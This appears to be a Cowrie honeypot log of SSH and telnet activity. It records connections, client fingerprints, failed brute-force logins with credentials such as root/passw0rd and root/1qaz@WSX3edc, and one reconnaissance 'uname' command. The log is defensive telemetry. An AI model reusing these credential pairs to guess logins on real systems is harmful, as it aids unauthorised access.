{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.470298Z","src_ip":"91.92.42.133","session":"a3454caf8076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ct123456","message":"login attempt [root/Ct123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.821190Z","src_ip":"45.140.193.156","session":"73929b052b87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:48.058204Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:48.061427Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:48.948702Z","src_ip":"45.140.193.156","session":"73929b052b87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:49.372545Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:49.376853Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39832,"dst_ip":"159.203.135.109","dst_port":22,"session":"143510d085c7","protocol":"ssh","message":"New connection: 91.92.40.171:39832 (159.203.135.109:22) [session: 143510d085c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:50.568334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:50.648820Z","src_ip":"91.92.40.171","session":"143510d085c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:50.720354Z","src_ip":"91.92.40.171","session":"143510d085c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:51.214062Z","src_ip":"91.92.40.171","session":"143510d085c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:52.082420Z","src_ip":"91.92.42.133","session":"a3454caf8076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:52.327883Z","src_ip":"91.92.40.171","session":"143510d085c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:54.362622Z","src_ip":"91.92.42.133","session":"a3454caf8076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52668,"dst_ip":"159.203.135.109","dst_port":22,"session":"e37ff8c30ea1","protocol":"ssh","message":"New connection: 91.92.42.133:52668 (159.203.135.109:22) [session: e37ff8c30ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:54.990394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:55.678183Z","src_ip":"91.92.42.133","session":"e37ff8c30ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:55.681730Z","src_ip":"91.92.42.133","session":"e37ff8c30ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b67e1cc5c264","protocol":"ssh","message":"New connection: 91.92.40.171:43158 (159.203.135.109:22) [session: b67e1cc5c264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:56.747908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:56.770160Z","src_ip":"91.92.40.171","session":"b67e1cc5c264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:56.864595Z","src_ip":"91.92.40.171","session":"b67e1cc5c264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:57.180346Z","src_ip":"91.92.40.171","session":"b67e1cc5c264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:58.285018Z","src_ip":"91.92.40.171","session":"b67e1cc5c264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:58.645714Z","src_ip":"91.92.42.133","session":"e37ff8c30ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:00.702602Z","src_ip":"91.92.42.133","session":"e37ff8c30ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43232,"dst_ip":"159.203.135.109","dst_port":22,"session":"1456a9e0a82a","protocol":"ssh","message":"New connection: 91.92.40.171:43232 (159.203.135.109:22) [session: 1456a9e0a82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:02.986010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:03.000555Z","src_ip":"91.92.40.171","session":"1456a9e0a82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:03.084888Z","src_ip":"91.92.40.171","session":"1456a9e0a82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:03.494405Z","src_ip":"91.92.40.171","session":"1456a9e0a82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52820,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb33e15a3a8a","protocol":"ssh","message":"New connection: 91.92.42.133:52820 (159.203.135.109:22) [session: cb33e15a3a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:04.217965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:04.469165Z","src_ip":"91.92.42.133","session":"cb33e15a3a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:04.472403Z","src_ip":"91.92.42.133","session":"cb33e15a3a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:04.611696Z","src_ip":"91.92.40.171","session":"1456a9e0a82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"1q2w3e4r","message":"login attempt [gabriel/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:05.547845Z","src_ip":"91.92.42.133","session":"cb33e15a3a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:06.801655Z","src_ip":"91.92.42.133","session":"cb33e15a3a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56988,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b3aba8bb59","protocol":"ssh","message":"New connection: 91.92.40.171:56988 (159.203.135.109:22) [session: a7b3aba8bb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:10.476644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:10.496614Z","src_ip":"91.92.40.171","session":"a7b3aba8bb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:11.196811Z","src_ip":"91.92.40.171","session":"a7b3aba8bb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37648,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec231a1926af","protocol":"ssh","message":"New connection: 91.92.42.133:37648 (159.203.135.109:22) [session: ec231a1926af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:12.063835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:12.345446Z","src_ip":"91.92.42.133","session":"ec231a1926af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:12.388976Z","src_ip":"91.92.42.133","session":"ec231a1926af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.69067406654358,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:12.393931Z","src_ip":"128.199.8.54","session":"567a3a1a64b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:13.854906Z","src_ip":"91.92.40.171","session":"a7b3aba8bb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"93382eac7c39","protocol":"ssh","message":"New connection: 91.92.40.171:57032 (159.203.135.109:22) [session: 93382eac7c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:14.186988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:14.272449Z","src_ip":"91.92.40.171","session":"93382eac7c39","protocol":"ssh"}
